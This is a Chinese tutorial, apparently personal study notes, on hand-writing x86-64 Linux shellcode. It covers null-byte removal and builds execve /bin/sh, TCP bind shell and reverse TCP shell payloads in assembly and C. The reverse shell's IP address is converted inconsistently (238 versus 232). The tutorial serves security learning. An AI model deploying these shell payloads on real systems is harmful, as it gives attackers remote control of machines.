学习自:《Penetration Testing with Shellcode》
基本过程是首先使用汇编通过系统调用的方式实现程序功能,编译成可执行文件,然后使用 objdump 进行机器码提取
先看一个汇编通过系统调用写 Hello World 的例子
要输出一个 hello world,可以通过 write 函数来实现,通过下面的方法查找 write 函数的系统调用号
找系统调用号
我用的 ubuntu 16.04 是这俩文件(找出来的是十进制的)cat /usr/include/asm/unistd_32.h | grep writecat /usr/include/asm/unistd_64.h | grep write
yichen@ubuntu:~$ cat /usr/include/asm/unistd_64.h | grep write#define __NR_write 1#define __NR_pwrite64 18#define __NR_writev 20#define __NR_pwritev 296#define __NR_process_vm_writev 311
编写汇编程序
使用 man 2 write 可以找到 write 函数的参数ssize_t write(int fd, const void *buf, size_t count);
第一个参数是三种输出模式
| 0 | 1 | 2 |
|---|---|---|
| stdin | stdout | stderr |
| 标准输入 | 标准输出 | 标准错误 |
第二个参数是字符串的指针,第三个参数是输出的字数
而 64 位的程序,寄存器传参:rdi, rsi, rdx, rcx, r8, r9 剩下的才用栈
所以 rdi 应该是 1,rsi 应该是字符串的地址,rdx 应该是长度
global _startsection .text_start:mov rax, 1 ;设置rax寄存器为write的系统调用号mov rdi, 1 ;设置rdi为write的第一个参数mov rsi, hello_world ;设置rsi为write的第二个参数mov rdx, length ;设置rdx为write的第三个参数syscall ;调用syscallsection .datahello_world: db 'hello world',0xa ;字符串hello world以及换行length: equ $-hello_world ;获取字符串长度
把代码保存为 hello-world.asm 然后汇编、链接
应该会这样显示:
yichen@ubuntu:~$ nasm -felf64 hello-world.asm -o hello-world.oyichen@ubuntu:~$ ld hello-world.o -o hello-worldyichen@ubuntu:~$ ./hello-worldhello world段错误 (核心已转储)
因为我们还没有让他正常退出,在后面 exit 的 syscall,让他正常退出即可
mov rax,60mov rdi,0syscall
提取shellcode
使用 objdump 提取 shellcode,这一长串的魔法般的正则我就不解释了我也不会
objdump -M intel -D hello-world | grep '[0-9a-f]:' | grep -v 'file' | cut -f2 -d: | cut -f1-7 -d' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /\\\x/g' | paste -d '' -s
yichen@ubuntu:~$ objdump -M intel -D hello-world | grep '[0-9a-f]:' | grep -v 'file' | cut -f2 -d: | cut -f1-7 -d' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /\\\x/g' | paste -d '' -s\xb8\x01\x00\x00\x00\xbf\x01\x00\x00\x00\x48\xbe\xd8\x00\x60\x00\x00\x00\x00\x00\xba\x0c\x00\x00\x00\x0f\x05\xb8\x3c\x00\x00\x00\xbf\x00\x00\x00\x00\x0f\x05\x68\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64\x0a
使用shellcode
#include<stdio.h>#include<string.h>unsigned char code[]="\xb8\x01\x00\x00\x00\xbf\x01\x00\x00\x00\x48\xbe\xd8\x00\x60\x00\x00\x00\x00\x00\xba\x0c\x00\x00\x00\x0f\x05\xb8\x3c\x00\x00\x00\xbf\x00\x00\x00\x00\x0f\x05\x68\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64\x0a";int main(){printf("shellcode length:%d\n",(int)strlen(code));int (*ret)()=(int(*)())code;ret();}
编译的时候需要关掉栈不可执行,当你去执行的时候会发现出错了
yichen@ubuntu:~$ gcc -z execstack -o test 1.cyichen@ubuntu:~$ ./testshellcode length:2t
因为 shellcode 中存在一些 \x00,我们称为:bad character,它会使字符串截断,就没有后面什么事情了,所以要想办法消除这些 bad character
| bad character 列表 | ||
|---|---|---|
| 00 | \0 | null |
| 0A | \n | 回车换行 |
| FF | \f | 换页 |
| 0D | \r | 回车 |
消除bad character
来看一下这些 bad character 是怎么形成的
yichen@ubuntu:~$ objdump -d -M intel hello-worldhello-world: 文件格式 elf64-x86-64Disassembly of section .text:00000000004000b0 <_start>:4000b0: b8 01 00 00 00 mov eax,0x14000b5: bf 01 00 00 00 mov edi,0x14000ba: 48 be d8 00 60 00 00 movabs rsi,0x6000d84000c1: 00 00 004000c4: ba 0c 00 00 00 mov edx,0xc4000c9: 0f 05 syscall4000cb: b8 3c 00 00 00 mov eax,0x3c4000d0: bf 00 00 00 00 mov edi,0x04000d5: 0f 05 syscall
针对这种的 mov eax,0x1,可以使用对寄存器的一部分赋值实现,比如:mov al,0x1
还可以通过 xor rax,rax 先把 rax 置为 0,然后 add rax,0x1 实现
看一下效果:5、6、7 行已经没有 bad character 了
yichen@ubuntu:~$ objdump -d -M intel hello-worldhello-world: 文件格式 elf64-x86-64Disassembly of section .text:00000000004000b0 <_start>:4000b0: b0 01 mov al,0x14000b2: 48 31 ff xor rdi,rdi4000b5: 48 83 c7 01 add rdi,0x14000b9: 48 be d8 00 60 00 00 movabs rsi,0x6000d84000c0: 00 00 004000c3: ba 0c 00 00 00 mov edx,0xc4000c8: 0f 05 syscall4000ca: b8 3c 00 00 00 mov eax,0x3c4000cf: bf 00 00 00 00 mov edi,0x04000d4: 0f 05 syscall
还有就是地址的问题,下面有几种方法解决:
relative address technique
通过 rel 相对 RIP 偏移找到变量的位置,等到程序执行的时候会使用 rip 减去与 hello_world 的差值,从而获得 hello_world 在内存中的位置
global _startsection .text_start:jmp codehello_world:db 'hello world',0xacode:mov al,1xor rdi,rdiadd rdi,1lea rsi,[rel hello_world]xor rdx,rdxadd rdx,12syscallxor rax,raxadd rax,60xor rdi,rdisyscall
jmp-call technique
通过在字符串前面 call 把字符串的地址压栈,然后 pop 获取
global _startsection .text_start:jmp string ;首先会跳转到 stringcode:pop rsi ;此时可以把压在栈上的hello_world的地址获取到mov al,1xor rdi,rdiadd rdi,1xor rdx,rdxadd rdx,12syscallxor rax,raxadd rax,60xor rdi,rdisyscallstring:call code ;call会把返回地址压栈,然后执行code的代码hello_world:db 'hello world',0xa
stack technique
借助栈来存放,需要提前设置好字符串的十六进制逆序,用python的string[::-1].encode('hex')
>>> string = "hello world\n">>> string[::-1].encode('hex')'0a646c726f77206f6c6c6568'
把需要的内容放在栈上,通过 rsp 来获得指向内容的指针(push 只能放四字节?)
global _startsection .text_start:xor rax,raxadd rax,1mov rdi,raxpush 0x0a646c72mov rbx,0x6f77206f6c6c6568push rbxmov rsi,rsp ;rsp就是栈顶的地址,也就是字符串在栈上的地址xor rdx,rdxadd rdx,12syscallxor rax,raxadd rax,60xor rdi,rdisyscall
用execve写个shell
学会了这些基本的消除 bad character 的方法之后来写个真正的 shellcode 试试 :::success 64 位,寄存器传参:rdi, rsi, rdx, rcx, r8, r9 剩下的才用栈 :::
一个可以获得 shell 的 C 语言代码如下
char *const argv[]={"/bin/sh",NULL};execve("/bin/sh",argv,NULL);
不知道为啥,之前学 pwn 的时候只需要第一个参数就可以了,但是这里要两个呜呜呜
想办法放到对应的寄存器就行
/bin/sh 参数用 python 生成逆序的十六进制,这里多加一个 / 用来占空,防止出现 0x00
>>> string = "//bin/sh">>> string[::-1].encode('hex')'68732f6e69622f2f'
一开始往栈上压入一个 0x00,用来截断 /bin/sh,顺便把第三个参数 rdx 的 NULL 设置好xor rax,raxpush raxmov rdx,rsp
用 stack technique 把这个参数压到栈上,然后给 rsp 这样就设置好了第一个参数mov rbx,0x68732f6e69622f2fpush rbxmov rdi,rsp
第二个参数是一个指针,所以把 rdi 压栈,获取到指针push rax ;这里再次 push 的 rax 作为截断push rdimov rsi,rsp
以及系统调用号是 59,最后加一个 syscalladd rax,59syscall
把提取的 shellcode 放到上面的代码中编译,可以使用,漂亮!~
yichen@ubuntu:~$ gcc -z execstack -o test 1.cyichen@ubuntu:~$ ./testshellcode length:32$ whoamiyichen
TCP bind shell
靶机开启一个端口监听,等待我们去连接,这样的方式容易被防火墙阻断和记录
C 语言代码如下:
#include <sys/socket.h>#include <sys/types.h>#include <stdlib.h>#include <unistd.h>#include <netinet/in.h>int main(void){int clientfd, sockfd;int port = 1234; //设置绑定的端口struct sockaddr_in mysockaddr;sockfd = socket(AF_INET, SOCK_STREAM, 0);mysockaddr.sin_family = AF_INET;mysockaddr.sin_port = htons(port);mysockaddr.sin_addr.s_addr = INADDR_ANY;bind(sockfd, (struct sockaddr *) &mysockaddr, sizeof(mysockaddr));listen(sockfd, 1);clientfd = accept(sockfd, NULL, NULL);dup2(clientfd, 0);dup2(clientfd, 1);dup2(clientfd, 2);char * const argv[] = {"sh",NULL, NULL};execve("/bin/sh", argv, NULL);return 0;}
接下来使用 syscall 依次实现这个程序
sockfd = socket(AF_INET, SOCK_STREAM, 0);
查找 socket 的系统调用号是 41
xor rax,raxadd rax,41xor rdi,rdiadd rdi,2 ;AF_INET用2表示xor rsi,rsiinc rsi ;SOCK_STREAM用1表示xor rdx,rdx ;第三个参数为0syscall
函数调用返回值保存在 RAX 寄存器,bind 函数用 sockfd 做参数,可以直接用mov rdi,rax
接下来填充 bind 函数的第二个参数 mysockaddr 结构体,因为后面 bind 调用的时候用的是指针,所以可以压到栈上去,然后拿到指针。应该怎么填充?可以使用 GDB 调试看一下 C 语言程序内存的值(gcc 加上 -g 参数可以直接 b 15 断在代码的第 15 行)
Breakpoint 1, main () at 1.c:1515 bind(sockfd, (struct sockaddr *) &mysockaddr, sizeof(mysockaddr));gdb-peda$ p &mysockaddr$1 = (struct sockaddr_in *) 0x7fffffffdd30gdb-peda$ p mysockaddr$2 = {sin_family = 0x2,sin_port = 0xd204,sin_addr = {s_addr = 0x0},sin_zero = "\000\000\000\000\000\000\000"}gdb-peda$ x/4gx 0x7fffffffdd300x7fffffffdd30: 0x00000000d2040002 0x00000000000000000x7fffffffdd40: 0x0000000000400850 0x0000000000400650
可以看到显示的是:两个字节的 sin_family,两个字节的 sin_port,以及八个字节的 sin_addr.s_addr,又因为栈的增长方向是从高地址往低地址的,所以要倒着写
xor rax, raxpush rax ;sin_addr.s_addrpush word 0xd204 ;sin_portpush word 0x02 ;sin_familymov rsi, rsp
其中 sin_port 的值这样得出来:
>>> import socket>>> hex(socket.htons(1234))'0xd204'
构造完成 mysockaddr 结构体后,查找 bind 的调用号是 49,调用
xor rdx, rdxadd rdx, 16 ;bind的第三个参数xor rax, raxadd rax, 49syscall
然后是 listen 函数,因为第一个参数还是 rdi 的 sockfd 所以省去一步
xor rax, raxadd rax, 50xor rsi , rsiinc rsisyscall
accept 函数
xor rax , raxadd rax, 43xor rsi, rsixor rdx, rdxsyscall
accept 函数的返回值在 rax,直接给 dup2 函数用
mov rdi, raxxor rax,raxadd rax, 33xor rsi, rsisyscallxor rax,raxadd rax, 33inc rsisyscallxor rax,raxadd rax, 33inc rsisyscall
execve函数直接用上面的就可以了
xor rax, raxpush raxmov rdx, rspmov rbx, 0x68732f6e69622f2fpush rbxmov rdi, rsppush raxpush rdimov rsi,rspadd rax, 59syscall
总的汇编代码
global _startsection .text_start:;Socket syscallxor rax, raxadd rax, 41xor rdi, rdiadd rdi, 2xor rsi, rsiinc rsixor rdx, rdxsyscall; Save the sockfd in RDI Registermov rdi, rax;Creating the structurexor rax, raxpush raxpush word 0xd204push word 0x02;Bind syscallmov rsi, rspxor rdx, rdxadd rdx, 16xor rax, raxadd rax, 49syscall;Listen syscallxor rax, raxadd rax, 50xor rsi , rsiinc rsisyscall;Accept syscallxor rax , raxadd rax, 43xor rsi, rsixor rdx, rdxsyscall;Store clientfd in RBX registermov rbx, rax;Dup2 syscall to stdinmov rdi, rbxxor rax,raxadd rax, 33xor rsi, rsisyscall;Dup2 syscall to stdoutxor rax,raxadd rax, 33inc rsisyscall;Dup2 syscall to stderrxor rax,raxadd rax, 33inc rsisyscall;Execve syscall with /bin/shxor rax, raxpush raxmov rdx, rspmov rbx, 0x68732f6e69622f2fpush rbxmov rdi, rsppush raxpush rdimov rsi,rspadd rax, 59syscall
提取处 shellcode 后放到上面的使用 shellcode 的模板上,编译好运行,通过 netstat -ntlp 可以看到 1234 端口开放,然后 nc 127.0.0.1 1234 就可以获得 shell 了
Reverse TCP shell
这种方法是我们首先在自己的机器上监听一个端口,然后让靶机访问我们,这样不会被防火墙拦截。
先看看 C 语言的代码
#include <sys/socket.h>#include <sys/types.h>#include <stdlib.h>#include <unistd.h>#include <netinet/in.h>#include <arpa/inet.h>int main(void){int sockfd;int port = 1234;struct sockaddr_in mysockaddr;sockfd = socket(AF_INET, SOCK_STREAM, 0);mysockaddr.sin_family = AF_INET;mysockaddr.sin_port = htons(port);mysockaddr.sin_addr.s_addr = inet_addr("192.168.238.1");connect(sockfd, (struct sockaddr *) &mysockaddr,sizeof(mysockaddr));dup2(sockfd, 0);dup2(sockfd, 1);dup2(sockfd, 2);char * const argv[] = {"/bin/sh", NULL};execve("/bin/sh", argv, NULL);return 0;}
基本差不多,socket 函数
xor rax, raxadd rax, 41xor rdi, rdiadd rdi, 2 ;AF_INET用2表示xor rsi, rsiinc rsi ;SOCK_STREAM用1表示xor rdx, rdx ;第三个参数为0syscall
填充 mysockaddr 结构体
IP 地址的十六进制形式这样获得
>>> import socket>>> socket.inet_aton('192.168.232.1')[::-1]'\x01\xe8\xa8\xc0'
也就是 0x01e8a8c0
mov rdi, rax ;sockfdxor rax, raxpush dword 0x01e8a8c0 ;sin_addr.s_addrpush word 0xd204 ;sin_portpush word 0x02 ;sin_familymov rsi, rspxor rdx, rdxadd rdx, 16xor rax, raxadd rax, 42syscall
三个 dup2
xor rax, raxadd rax, 33xor rsi, rsisyscallxor rax, raxadd rax, 33inc rsisyscallxor rax, raxadd rax, 33inc rsisyscall
execve
xor rax, raxpush raxmov rdx, rspmov rbx, 0x68732f6e69622f2fpush rbxmov rdi, rsppush raxpush rdimov rsi,rspadd rax, 59syscall
